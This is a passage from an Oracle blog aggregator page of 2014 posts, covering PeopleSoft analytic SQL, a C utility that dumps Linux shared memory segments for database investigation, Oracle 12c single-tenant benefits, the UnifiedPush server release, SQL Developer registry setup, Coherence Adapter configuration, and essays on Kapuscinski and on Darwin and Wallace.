filter(SYS_OP_UNDESCEND("J"."SYS_NC00164$")<=TO_DATE(' 1995-02-12 00:00:00',
'syyyy-mm-dd hh24:mi:ss'))

I think this construction could be useful in PeopleSoft.  At first glance the SQL appears more complicated, but it in this example it removed two correlated sub-queries. 
Using Analytic Functions in PS/QueryOf course you can code it anywhere where you can simply enter SQL as text.  However, it also has the advantage over the other analytic function construction that it can be coded in the PS/Query tool.  The analytic functions in the select caluse should be created in PS/Query expressions with the aggregate expression checkbox ticked.
Analytic 'Keep' function in PS/Query Aggregate ExpressionAnalytic Function in Aggregated Expression in Windows Client version of PS/Query  The analytic functions can be selected in the PS/Query, and their lengths and titles can be tidied up.
Analytic PS/QueryPS/Query with Analytic 'Keep' Functions
This is the resulting SQL which is the same as before (with row level security added by PS/Query) and produces the same results.
SELECT A.EMPLID, A.EMPL_RCD, MAX(effdt) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq)
, MAX(effseq) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq), MAX(action) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq), MAX(deptid) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq), MAX(currency_cd) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq), MAX(annual_rt) KEEP (DENSE_RANK LAST ORDER BY effdt, effseq)
FROM PS_JOB A, PS_EMPLMT_SRCH_QRY A1
WHERE ( A.EMPLID = A1.EMPLID
AND A.EMPL_RCD = A1.EMPL_RCD
AND A1.OPRID = 'PS'
AND ( A.EFFDT <= TO_DATE('1995-02-11','YYYY-MM-DD')
AND A.EMPLID = 'KF0018' ) )
GROUP BY A.EMPLID, A.EMPL_RCD

GoldenGate Active-Active Database Replication with Conflict Detection and Resolution

VitalSoftTech - Tue, 2014-07-08 14:46
Bi-Directional Replication also known as Active-Active Replication, is a configuration where both databases are used as an active site and applications perform DML/DDL activities on both Databases. The OGG processes is configured to replicate the transaction data of both the source databases back and forth to each other. 1. Advantages Bi-directional GoldenGate Replication can be […]
Categories: DBA Blogs

C program to dump shared memory segments to disk on Linux.

ContractOracle - Tue, 2014-07-08 02:26
The following program was written to help investigate Oracle database shared memory on Linux.  It dumps the contents of existing shared memory segments to files on disk.  Note that it won't work against Oracle 11g and 12C databases as they use mmap instead of shmat for managing shared memory.  Sample program for reading from 11g and 12C here (mmap example )

Compile it using "gcc -o shared shared.c"  It is free for anyone to copy or modify as they wish, but I do not guarantee the functionality.

Check the format of the include listings below as I had to remove hashes and greater-than/less-than symbols to keep blogger happy.

include stdio.h
include stdlib.h
include sys/shm.h


int main (int argc, char *argv[]) {
    int maxkey, id, shmid = 0;
    struct shm_info shm_info;
    struct shmid_ds shmds;
    void * shared_data;
    FILE * outfile;
    
    maxkey = shmctl(0, SHM_INFO, (void *) &shm_info);
    for(id = 0; id <= maxkey; id++) {
        shmid = shmctl(id, SHM_STAT, &shmds);
        char shmidchar[16];
        snprintf(shmidchar, sizeof(shmidchar), "%d", shmid);
        if (shmid < 0)
            continue;
        if(shmds.shm_segsz > 0) {
            printf("Shared memory segment %s found.\n",shmidchar);
            
            shared_data = shmat(shmid, NULL, 0666);
            if(shared_data != NULL) {
                outfile = fopen(shmidchar, "wb");
                if(outfile == NULL) {
                    printf("Could not open file %s for writing.", shmidchar);
                }
                else {
                    fwrite(shared_data, shmds.shm_segsz, 1, outfile);
                    fclose(outfile);
                    
                    printf("Dumped to file %s\n\n", shmidchar);
                }
            }
        }
    }
}



Categories: DBA Blogs

George EP Box

Greg Pavlik - Mon, 2014-07-07 16:22
"Essentially, all models are wrong. Some models are useful."

Benefits of Single Tenant Deployments

Asif Momen - Mon, 2014-07-07 05:54
While presenting at a database event, I had a question from one of the attendees on benefits of running Oracle databases in Single Tenant Configuration.  I thought this would be a nice if I post it on my blog as it would benefit others too.

From Oracle documentation, “The multitenant architecture enables an Oracle database to function as a multitenant container database (CDB) that includes zero, one, or many customer-created pluggable databases (PDBs). A PDB is a portable collection of schemas, schema objects, and non-schema objects that appears to an Oracle Net client as a non-CDB. All Oracle databases before Oracle Database 12c were non-CDBs”.

Following are the benefits of running databases in Single Tenant Configuration:
  1. Alignment with Oracle’s new multi-tenant architecture
  2. Cost saving. You save on license fee as single tenant deployments do not attract Multi-tenant option license fee. License is applicable should you have two or more PDBs.
  3. Upgrade/patch your single PDB from 12.1.0.1 to 12.x easily with reduced downtime
  4. Secure separation of duties (between CDBA & DBA)
  5. Easier PDB cloning

I would recommend running all your production and non-production databases in single-tenant configuration (if you are not planning for consolidation using multi-tenant option) once you upgrade them to Oracle Database 12c. I expect to see single tenant deployments become the default deployment model for the customers.

UnifiedPush Server 0.11 is out!

Matthias Wessendorf - Mon, 2014-07-07 04:07

Today we are extremely happy to announce an all new AeroGear UnifiedPush Server!

UnifiedPush Server

The UnifiedPush Server comes with a completely rewritten Angular.js based UI and is now powered by Keycloak! Thanks to the Keycloak team for the great work they delivered helping the AeroGear team to make the Keycloak integration happen.

Getting started

Getting started w/ the new server is still very simple:

  • Setup a database (here is an example for the H2 Database engine. Copy into $JBOSS/standalone/deployments)
  • Download the two WAR files (core and auth) and copy into $JBOSS/standalone/deployments
  • Start the JBoss server

The 0.11.0 release contains a lot of new features, here is a more detailed list:

  • Keycloak Integration for user management
  • Angular.js based AdminUI
  • Metrics and Dashboard for some Analytics around Push Messages
  • Code snippet UI now supports Swift
  • and a lot of fixes and other improvements! See JIRA for all the items

Besides the improvements on the server, we also have some Quickstarts to help you get going with the Push Server

Hello World

The HelloWorld is a set of simple clients that show how to register a device with the UnifiedPush Server. On the Admin UI of the server you can use the “Send Push” menu to send a message to the different applications, running on your phone.

Mobile Contacts Quickstart

The Mobile Contacts Quickstart is a Push-enabled CRUD example, containing several client applications (Android, Apache Corodva and iOS) and a JavaEE-based backend. The backend app is a secured (Picketlink) JAX-RS application which sends out push messages when a new contact has been created. Sometimes the backend (for a mobile application) has to run behind the firewall. For that the quickstart contains a Fabric8 based Proxy server as well.

Thanks again to the Keycloak team for their assistance.

Now, get your hands dirty and send some push messages! We hope you like the new server!

Next ?

We are now polishing the server for the 1.0.0 push release this summer. See the roadmap for details.


How to Solve: SQL Developer can’t start because MSVCR71.dll is missing (On Windows)

Oracle NZ - Sun, 2014-07-06 20:42

I have installed SQL Developer (with JDK) on Windows many times before, and almost all the time I receive the system error bellow when trying to execute it by the first time. Due to this, I decided to publish the solution to this annoying issue.

error_sqldeveloper

We can easily fix this issue by following these simple steps:

  1. Run regedit (remember to run it as the administrator)
  2. Expand HKEY_LOCAL_MACHINE
  3. Expand SOFTWARE
  4. Expand Microsoft
  5. Expand Windows
  6. Expand CurrentVersion
  7. Expand App Paths
  8. At App Paths, add a new KEY called sqldeveloper.exe
  9. Expand sqldeveloper.exe
  10. Modify the (DEFAULT) value to the full pathway to the sqldeveloper executable (See example below step 11)
  11. Create a new STRING VALUE called Path and set it value to the sqldeveloper pathway + \jdk\jre\bin                                                                                                                                                                                                                                                                                                             regedit
  12. After the step 11 is completed, please enjoy your SQLDEVELOPER Smile

works

Hope this tip would help you to solve this issue too!

 

Regards,

 

Francisco Munoz Alvarez



Tags:  

Del.icio.us
Facebook
TweetThis
Digg
StumbleUpon

Copyright © OracleNZ by Francisco Munoz Alvarez [How to Solve: SQL Developer can’t start because MSVCR71.dll is missing (On Windows)], All Right Reserved. 2016.
Categories: DBA Blogs

The Other

Greg Pavlik - Thu, 2014-07-03 12:33
It is the nature of short essays or speeches that they can at best explore the surface of an idea. This is a surprisingly difficult task, since ideas worth exploring usually need to be approached with some rigor. The easy use of the speech form is to promote an idea to listeners or readers who already share a common view - that is one reason speeches are effective forms for political persuasion for rallying true believers. It's much more difficult to create new vantage points or vistas into a new world - a sense of something grander that calls for further exploration.

Yet this is exactly what Ryszard Kapuscinski accomplishes in his series of talks published as The Other. Here, the Polish journalist builds on his experience and most importantly on the reflections on the Lithuanian-Jewish philosopher Emmanual Levinas to reflect on how the encounter with the Other in a broad, cross cultural sense is the defining event - and opportunity - in late (or post) modernity. For Kapuscinski, the Other is the specifically the non-European cultures in which he spent most of his career as a journalist. For another reader it might be someone very much like Kapuscinski himself.

There are three simple points that Kapuscinski raises that bear attention:

1) The era we live in provides a unique, interpersonal opportunity for encounter with the Other - which is to say that we are neither in the area of relative isolation from the Other that dominated much of human history nor are we any longer in the phase of violent domination that marked the period of European colonial expansion. We have a chance to make space for encounter to be consistently about engagement and exchange, rather than conflict.

2) This encounter cannot primarily technical, its must be interpersonal. Technical means are not only anonymous but more conducive to inculcating mass culture rather than creating space for authentic personal engagement. The current period of human history - post industrial, urbanized, technological - is given to mass culture, mass movements, as a rule - this is accelerated by globalization and communications advances. And while it is clear that the early "psychological" literature of the crowd - and I am thinking not only of the trajectory set by Gustave LeBon, but the later and more mature reflections of Ortega y Gasset - were primarily reactionary, nonetheless they point consistently to the fact that the crowd involves not just a loss of identity, but a loss of the individual: it leaves little room for real encounter and exchange.

While the increasing ability to encounter different cultures offers the possibility of real engagement,  at the same time modern mass culture is the number one threat to the Other - in that it subordinates the value of whatever is unique to whatever is both common and most importantly sellable. In visiting Ukraine over the last few years, what fascinated me the most were the things that made the country uniquely Ukrainian. Following a recent trip, I noted the following in a piece by New York Times columnist Nicholas Kristof on a visit to Karapchiv: "The kids here learn English and flirt in low-cut bluejeans. They listen to Rihanna, AC/DC and Taylor Swift. They have crushes on George Clooney and Angelina Jolie, watch “The Simpsons” and “Family Guy,” and play Grand Theft Auto. The school here has computers and an Internet connection, which kids use to watch YouTube and join Facebook. Many expect to get jobs in Italy or Spain — perhaps even America."

What here makes the Other both unique and beautiful is being obliterated by mass culture. Kristof is, of course, a cheerleader for this tragedy, but the true opportunity Kapuscinski asks us to look for ways to build up and offer support in encounter.

3) Lastly and most importantly, for encounter with the Other to be one of mutual recognition and sharing, the personal encounter must have an ethical basis. Kapuscinski observes that the first half of the last century was dominated by Husserl and Heidegger - in other words by epistemic and ontological models. It is no accident, I think, that the same century was marred by enormities wrought by totalizing ideologies - where ethics is subordinated entirely, ideology can rage out of control. Kapuscinski follows Levinas in response - ultimately seeing the Other as a source of ethical responsibility is an imperative of the first order.

The diversity of human cultures is, as Solzhenitzyn rightly noted, the "wealth of mankind, its collective personalities; the very least of them wears its own special colors and bears within itself a special facet of God's design." And yet is only if we can encounter the Other in terms of mutual respect and self-confidence, in terms of exchange and recognition of value in the Other, that we can actually see the Other as a treasure - one that helps ground who I am as much as reveals the treasure for what it is. And this is our main challenge - the other paths, conflict and exclusion, are paths we cannot afford to tread.

Coherence Adapter Configuration

Antony Reynolds - Thu, 2014-07-03 00:05
SOA Suite 12c Coherence Adapter

The release of SOA Suite 12c sees the addition of a Coherence Adapter to the list of Technology Adapters that are licensed with the SOA Suite.  In this entry I provide an introduction to configuring the adapter and using the different operations it supports.

The Coherence Adapter provides access to Oracles Coherence Data Grid.  The adapter provides access to the cache capabilities of the grid, it does not currently support the many other features of the grid such as entry processors – more on this at the end of the blog.

Previously if you wanted to use Coherence from within SOA Suite you either used the built in caching capability of OSB or resorted to writing Java code wrapped as a Spring component.  The new adapter significantly simplifies simple cache access operations.

Configuration

When creating a SOA domain the Coherence adapter is shipped with a very basic configuration that you will probably want to enhance to support real requirements.  In this section I look at the configuration required to use Coherence adapter in the real world.

Activate Adapter

The Coherence Adapter is not targeted at the SOA server by default, so this targeting needs to be performed from within the WebLogic console before the adapter can be used.

Create a cache configuration file

The Coherence Adapter provides a default connection factory to connect to an out-of-box Coherence cache and also a cache called adapter-local.  This is helpful as an example but it is good practice to only have a single type of object within a Coherence cache, so we will need more than one.  Without having multiple caches then it is hard to clean out all the objects of a particular type.  Having multiple caches also allows us to specify different properties for each cache.  The following is a sample cache configuration file used in the example.

<?xml version="1.0"?>
<!DOCTYPE cache-config SYSTEM "cache-config.dtd">
<cache-config>
  <caching-scheme-mapping>
    <cache-mapping>
      <cache-name>TestCache</cache-name>
      <scheme-name>transactional</scheme-name>
    </cache-mapping>
  </caching-scheme-mapping>
  <caching-schemes>
    <transactional-scheme>
      <scheme-name>transactional</scheme-name>
      <service-name>DistributedCache</service-name>
      <autostart>true</autostart>
    </transactional-scheme>
  </caching-schemes>
</cache-config>

This defines a single cache called TestCache.  This is a distributed cache, meaning that the entries in the cache will distributed across the grid.  This enables you to scale the storage capacity of the grid by adding more servers.  Additional caches can be added to this configuration file by adding additional <cache-mapping> elements.

The cache configuration file is reference by the adapter connection factory and so needs to be on a file system accessed by all servers running the Coherence Adapter.  It is not referenced from the composite.

Create a Coherence Adapter Connection Factory

We find the correct cache configuration by using a Coherence Adapter connection factory.  The adapter ships with a few sample connection factories but we will create new one.  To create a new connection factory we do the following:

  1. On the Outbound Connection Pools tab of the Coherence Adapter deployment we select New to create the adapter.
  2. Choose the javax.resource.cci.ConnectionFactory group.
  3. Provide a JNDI name, although you can use any name something along the lines of eis/Coherence/Test is a good practice (EIS tells us this an adapter JNDI, Coherence tells us it is the Coherence Adapter, and then we can identify which adapter configuration we are using).
  4. If requested to create a Plan.xml then make sure that you save it in a location available to all servers.
  5. From the outbound connection pool tab select your new connection factory so that you can configure it from the properties tab.
    • Set the CacheConfigLocation to point to the cache configuration file created in the previous section.
    • Set the ClassLoaderMode to CUSTOM.
    • Set the ServiceName to the name of the service used by your cache in the cache configuration file created in the previous section.
    • Set the WLSExtendProxy to false unless your cache configuration file is using an extend proxy.
    • If you plan on using POJOs (Plain Old Java Objects) with the adapter rather than XML then you need to point the PojoJarFile at the location of a jar file containing your POJOs.
    • Make sure to press enter in each field after entering your data.  Remember to save your changes when done.

You may will need to stop and restart the adapter to get it to recognize the new connection factory.

Operations

To demonstrate the different operations I created a WSDL with the following operations:

  • put – put an object into the cache with a given key value.
  • get – retrieve an object from the cache by key value.
  • remove – delete an object from the cache by key value.
  • list – retrieve all the objects in the cache.
  • listKeys – retrieve all the keys of the objects in the cache.
  • removeAll – remove all the objects from the cache.

I created a composite based on this WSDL that calls a different adapter reference for each operation.  Details on configuring the adapter within a composite are provided in the Configuring the Coherence Adapter section of the documentation.

I used a Mediator to map the input WSDL operations to the individual adapter references.

Schema

The input schema is shown below.

This type of pattern is likely to be used in all XML types stored in a Coherence cache.  The XMLCacheKey element represents the cache key, in this schema it is a string, but could be another primitive type.  The other fields in the cached object are represented by a single XMLCacheContent field, but in a real example you are likely to have multiple fields at this level.  Wrapper elements are provided for lists of elements (XMLCacheEntryList) and lists of cache keys (XMLCacheEntryKeyList).  XMLEmpty is used for operation that don’t require an input.

Put Operation

The put operation takes an XMLCacheEntry as input and passes this straight through to the adapter.  The XMLCacheKey element in the entry is also assigned to the jca.coherence.key property.  This sets the key for the cached entry.  The adapter also supports automatically generating a key, which is useful if you don’t have a convenient field in the cached entity.  The cache key is always returned as the output of this operation.

Get Operation

The get operation takes an XMLCacheKey as input and assigns this to the jca.coherence.key property. This sets the key for the entry to be retrieved.

Remove Operation

The remove operation takes an XMLCacheKey as input and assigns this to the jca.coherence.key property. This sets the key for the entry to be deleted.

RemoveAll Operation

This is similar to the remove operation but instead of using a key as input to the remove operation it uses a filter.  The filter could be overridden by using the jca.coherence.filter property but for this operation it was permanently set in the adapter wizard to be the following query:

key() != ""

This selects all objects whose key is not equal to the empty string.  All objects should have a key so this query should select all objects for deletion.

Note that there appears to be a bug in the return value.  The return value is entry rather than having the expected RemoveResponse element with a Count child element.  Note the documentation states that

When using a filter for a Remove operation, the Coherence Adapter does not report the count of entries affected by the remove operation, regardless of whether the remove operation is successful.

When using a key to remove a specific entry, the Coherence Adapter does report the count, which is always 1 if a Coherence Remove operation is successful.

Although this could be interpreted as meaning an empty part is returned, an empty part is a violation of the WSDL contract.

List Operation

The list operation takes no input and returns the result list returned by the adapter.  The adapter also supports querying using a filter.  This filter is essentially the where clause of a Coherence Query Language statement.  When using XML types as cached entities then only the key() field can be tested, for example using a clause such as:

key() LIKE “Key%1”

This filter would match all entries whose key starts with “Key” and ends with “1”.

ListKeys Operation

The listKeys operation is essentially the same as the list operation except that only the keys are returned rather than the whole object.

Testing

To test the composite I used the new 12c Test Suite wizard to create a number of test suites.  The test suites should be executed in the following order:

  1. CleanupTestSuite has a single test that removes all the entries from the cache used by this composite.
  2. InitTestSuite has 3 tests that insert a single record into the cache.  The returned key is validated against the expected value.
  3. MainTestSuite has 5 tests that list the elements and keys in the cache and retrieve individual inserted elements.  This tests that the items inserted in the previous test are actually in the cache.  It also tests the get, list and listAll operations and makes sure they return the expected results.
  4. RemoveTestSuite has a single test that removes an element from the cache and tests that the count of removed elements is 1.
  5. ValidateRemoveTestSuite is similar to MainTestSuite but verifies that the element removed by the previous test suite has actually been removed.
Use Case

One example of using the Coherence Adapter is to create a shared memory region that allows SOA composites to share information.  An example of this is provided by Lucas Jellema in his blog entry First Steps with the Coherence Adapter to create cross instance state memory.

However there is a problem in creating global variables that can be updated by multiple instances at the same time.  In this case the get and put operations provided by the Coherence adapter support a last write wins model.  This can be avoided in Coherence by using an Entry Processor to update the entry in the cache, but currently entry processors are not supported by the Coherence Adapter.  In this case it is still necessary to use Java to invoke the entry processor.

Sample Code

The sample code I refer to above is available for download and consists of two JDeveloper projects, one with the cache config file and the other with the Coherence composite.

  • CoherenceConfig has the cache config file that must be referenced by the connection factory properties.
  • CoherenceSOA has a composite that supports the WSDL introduced at the start of this blog along with the test cases mentioned at the end of the blog.

The Coherence Adapter is a really exciting new addition to the SOA developers toolkit, hopefully this article will help you make use of it.

Coherence Adapter Configuration

Antony Reynolds - Thu, 2014-07-03 00:05
SOA Suite 12c Coherence Adapter

The release of SOA Suite 12c sees the addition of a Coherence Adapter to the list of Technology Adapters that are licensed with the SOA Suite.  In this entry I provide an introduction to configuring the adapter and using the different operations it supports.

The Coherence Adapter provides access to Oracles Coherence Data Grid.  The adapter provides access to the cache capabilities of the grid, it does not currently support the many other features of the grid such as entry processors – more on this at the end of the blog.

Previously if you wanted to use Coherence from within SOA Suite you either used the built in caching capability of OSB or resorted to writing Java code wrapped as a Spring component.  The new adapter significantly simplifies simple cache access operations.

Configuration

When creating a SOA domain the Coherence adapter is shipped with a very basic configuration that you will probably want to enhance to support real requirements.  In this section I look at the configuration required to use Coherence adapter in the real world.

Activate Adapter

The Coherence Adapter is not targeted at the SOA server by default, so this targeting needs to be performed from within the WebLogic console before the adapter can be used.

Create a cache configuration file

The Coherence Adapter provides a default connection factory to connect to an out-of-box Coherence cache and also a cache called adapter-local.  This is helpful as an example but it is good practice to only have a single type of object within a Coherence cache, so we will need more than one.  Without having multiple caches then it is hard to clean out all the objects of a particular type.  Having multiple caches also allows us to specify different properties for each cache.  The following is a sample cache configuration file used in the example.

<?xml version="1.0"?>
<!DOCTYPE cache-config SYSTEM "cache-config.dtd">
<cache-config>
  <caching-scheme-mapping>
    <cache-mapping>
      <cache-name>TestCache</cache-name>
      <scheme-name>transactional</scheme-name>
    </cache-mapping>
  </caching-scheme-mapping>
  <caching-schemes>
    <transactional-scheme>
      <scheme-name>transactional</scheme-name>
      <service-name>DistributedCache</service-name>
      <autostart>true</autostart>
    </transactional-scheme>
  </caching-schemes>
</cache-config>

This defines a single cache called TestCache.  This is a distributed cache, meaning that the entries in the cache will distributed across the grid.  This enables you to scale the storage capacity of the grid by adding more servers.  Additional caches can be added to this configuration file by adding additional <cache-mapping> elements.

The cache configuration file is reference by the adapter connection factory and so needs to be on a file system accessed by all servers running the Coherence Adapter.  It is not referenced from the composite.

Create a Coherence Adapter Connection Factory

We find the correct cache configuration by using a Coherence Adapter connection factory.  The adapter ships with a few sample connection factories but we will create new one.  To create a new connection factory we do the following:

  1. On the Outbound Connection Pools tab of the Coherence Adapter deployment we select New to create the adapter.
  2. Choose the javax.resource.cci.ConnectionFactory group.
  3. Provide a JNDI name, although you can use any name something along the lines of eis/Coherence/Test is a good practice (EIS tells us this an adapter JNDI, Coherence tells us it is the Coherence Adapter, and then we can identify which adapter configuration we are using).
  4. If requested to create a Plan.xml then make sure that you save it in a location available to all servers.
  5. From the outbound connection pool tab select your new connection factory so that you can configure it from the properties tab.
    • Set the CacheConfigLocation to point to the cache configuration file created in the previous section.
    • Set the ClassLoaderMode to CUSTOM.
    • Set the ServiceName to the name of the service used by your cache in the cache configuration file created in the previous section.
    • Set the WLSExtendProxy to false unless your cache configuration file is using an extend proxy.
    • If you plan on using POJOs (Plain Old Java Objects) with the adapter rather than XML then you need to point the PojoJarFile at the location of a jar file containing your POJOs.
    • Make sure to press enter in each field after entering your data.  Remember to save your changes when done.

You may will need to stop and restart the adapter to get it to recognize the new connection factory.

Operations

To demonstrate the different operations I created a WSDL with the following operations:

  • put – put an object into the cache with a given key value.
  • get – retrieve an object from the cache by key value.
  • remove – delete an object from the cache by key value.
  • list – retrieve all the objects in the cache.
  • listKeys – retrieve all the keys of the objects in the cache.
  • removeAll – remove all the objects from the cache.

I created a composite based on this WSDL that calls a different adapter reference for each operation.  Details on configuring the adapter within a composite are provided in the Configuring the Coherence Adapter section of the documentation.

I used a Mediator to map the input WSDL operations to the individual adapter references.

Schema

The input schema is shown below.

This type of pattern is likely to be used in all XML types stored in a Coherence cache.  The XMLCacheKey element represents the cache key, in this schema it is a string, but could be another primitive type.  The other fields in the cached object are represented by a single XMLCacheContent field, but in a real example you are likely to have multiple fields at this level.  Wrapper elements are provided for lists of elements (XMLCacheEntryList) and lists of cache keys (XMLCacheEntryKeyList).  XMLEmpty is used for operation that don’t require an input.

Put Operation

The put operation takes an XMLCacheEntry as input and passes this straight through to the adapter.  The XMLCacheKey element in the entry is also assigned to the jca.coherence.key property.  This sets the key for the cached entry.  The adapter also supports automatically generating a key, which is useful if you don’t have a convenient field in the cached entity.  The cache key is always returned as the output of this operation.

Get Operation

The get operation takes an XMLCacheKey as input and assigns this to the jca.coherence.key property. This sets the key for the entry to be retrieved.

Remove Operation

The remove operation takes an XMLCacheKey as input and assigns this to the jca.coherence.key property. This sets the key for the entry to be deleted.

RemoveAll Operation

This is similar to the remove operation but instead of using a key as input to the remove operation it uses a filter.  The filter could be overridden by using the jca.coherence.filter property but for this operation it was permanently set in the adapter wizard to be the following query:

key() != ""

This selects all objects whose key is not equal to the empty string.  All objects should have a key so this query should select all objects for deletion.

Note that there appears to be a bug in the return value.  The return value is entry rather than having the expected RemoveResponse element with a Count child element.  Note the documentation states that

When using a filter for a Remove operation, the Coherence Adapter does not report the count of entries affected by the remove operation, regardless of whether the remove operation is successful.

When using a key to remove a specific entry, the Coherence Adapter does report the count, which is always 1 if a Coherence Remove operation is successful.

Although this could be interpreted as meaning an empty part is returned, an empty part is a violation of the WSDL contract.

List Operation

The list operation takes no input and returns the result list returned by the adapter.  The adapter also supports querying using a filter.  This filter is essentially the where clause of a Coherence Query Language statement.  When using XML types as cached entities then only the key() field can be tested, for example using a clause such as:

key() LIKE “Key%1”

This filter would match all entries whose key starts with “Key” and ends with “1”.

ListKeys Operation

The listKeys operation is essentially the same as the list operation except that only the keys are returned rather than the whole object.

Testing

To test the composite I used the new 12c Test Suite wizard to create a number of test suites.  The test suites should be executed in the following order:

  1. CleanupTestSuite has a single test that removes all the entries from the cache used by this composite.
  2. InitTestSuite has 3 tests that insert a single record into the cache.  The returned key is validated against the expected value.
  3. MainTestSuite has 5 tests that list the elements and keys in the cache and retrieve individual inserted elements.  This tests that the items inserted in the previous test are actually in the cache.  It also tests the get, list and listAll operations and makes sure they return the expected results.
  4. RemoveTestSuite has a single test that removes an element from the cache and tests that the count of removed elements is 1.
  5. ValidateRemoveTestSuite is similar to MainTestSuite but verifies that the element removed by the previous test suite has actually been removed.
Use Case

One example of using the Coherence Adapter is to create a shared memory region that allows SOA composites to share information.  An example of this is provided by Lucas Jellema in his blog entry First Steps with the Coherence Adapter to create cross instance state memory.

However there is a problem in creating global variables that can be updated by multiple instances at the same time.  In this case the get and put operations provided by the Coherence adapter support a last write wins model.  This can be avoided in Coherence by using an Entry Processor to update the entry in the cache, but currently entry processors are not supported by the Coherence Adapter.  In this case it is still necessary to use Java to invoke the entry processor.

Sample Code

The sample code I refer to above is available for download and consists of two JDeveloper projects, one with the cache config file and the other with the Coherence composite.

  • CoherenceConfig has the cache config file that must be referenced by the connection factory properties.
  • CoherenceSOA has a composite that supports the WSDL introduced at the start of this blog along with the test cases mentioned at the end of the blog.

The Coherence Adapter is a really exciting new addition to the SOA developers toolkit, hopefully this article will help you make use of it.

July 1, 1858: Co-discovery of Evolution by Natural Selection

FeuerThoughts - Tue, 2014-07-01 12:51
On this day in 1858, members of the Linnaean Society of London listened to the reading of a composite paper, with two authors, announcing the discovery of evolution by natural selection.

One author you've probably heard of: Charles Darwin

The other? Famous in his time, but in the 20th and 21st centuries largely forgotten: Alfred Russel Wallace.

Darwin was a Big Data scientist, spending 20 years after his trip to the Galapagos gathering data from his own experiments and from botanists around the world, to make his theory unassailable. Wallace was a field naturalist, studying species and variation, up close and very personal.

Both ended up in the same place at roughly the same time, driven by the inescapable conclusion from these three facts:

1. More organisms are born than can survive (for their full "normal" lifespan). 
2. Like father like son: we inherit characteristics from our parents
3. NOT like father like son: each offspring varies in some way from its parents.

So who/what survives to reproduce and pass on its genes? Or rather, who dies and why? You can die purely by accident. You are the biggest, strongest lion. Nothing can beat you. But a tree falls on you. Dead and gone.

Or you can survive because you have an advantage, however slight, that another in your species lacks. Your beak is slightly more narrow and lets you get at all the nuts on the tree. Your legs are slightly longer so you can avoid the tiger. And so on, everything sorting out how to eat, how to survive long enough to reproduce, from bacteria to coral to fish to mammals.

And with each passing generation, the mutations that help you survive get passed along, and so we (humans and everyone, everything) change - sometimes slowly, sometimes quickly. But change we do. 

With this announcement on July 1, 1858, humans now had a way of understanding how the world works without having to fall back on some unknowable god or gods. And we have also been able to build on Wallace's and Darwin's insight to now understand, perhaps too well, how life works on our planet, and how similar we are to so many other species.

Which means - to my way of thinking - that we no longer have any excuses, we humans, for our ongoing devastation and depletion of our world and our co-inhabitants.

In a more rational world, in which humans shared their planet with everything around them, instead of consuming everything in sight, July 1 would be an international day of celebration.

Well, at least I posted a note on my blog! Plus I will go outside later and cut back invasives, to help native trees grow.

How will you celebrate International Evolution Day?

Here are some links to information about evolution, about the way these two men got to the point of announcing their discoveries, and more.

You will read in some of these articles about Wallace being "robbed" of his just fame and recognition; I must tell you that Wallace, in his own words and the way he lived his life, was gracious and generous in spirit. He always saw Darwin as the one who fully elaborated the theory, making its acceptance so instantly widespread across Europe. He did not seem the least bit jealous.

And Wallace was, in many ways, a far more interesting human being than Darwin. I encourage to check out his autobiography, My Life, as a way of being introduced to one of my heroes.

http://www.wired.com/2011/07/0701darwin-wallace-linnaean-society-london/

Categories: Development

18F

Catherine Devlin - Tue, 2014-07-01 11:37

Yesterday was my first day at 18F!

What is 18F? We're a small, little-known government organization that works outside the usual channels to accomplish special projects. It involves black outfits and a lot of martial arts.

Kidding! Sort of. 18F is a new agency within the GSA that does citizen-focused work for other parts of the U.S. Government, working small, quick projects to make information more accessible. We're using all the tricks: small teams, agile development, rapid iteration, open-source software, test-first, continuous integration. We do our work in the open.

Sure, this is old hat to you, faithful blog readers. But bringing it into government IT work is what makes it exciting. We're hoping that the techniques we use will ripple out beyond the immediate projects we work on, popularizing them throughout government IT and helping efficiency and responsiveness throughout. This is a chance to put all the techniques I've learned from you to work for all of us. Who wouldn't love to get paid to work for the common good?

Obviously, this is still my personal blog, so nothing I say about 18F counts as official information. Just take it as my usual enthusiastic babbling.

Pages

Subscribe to Oracle FAQ aggregator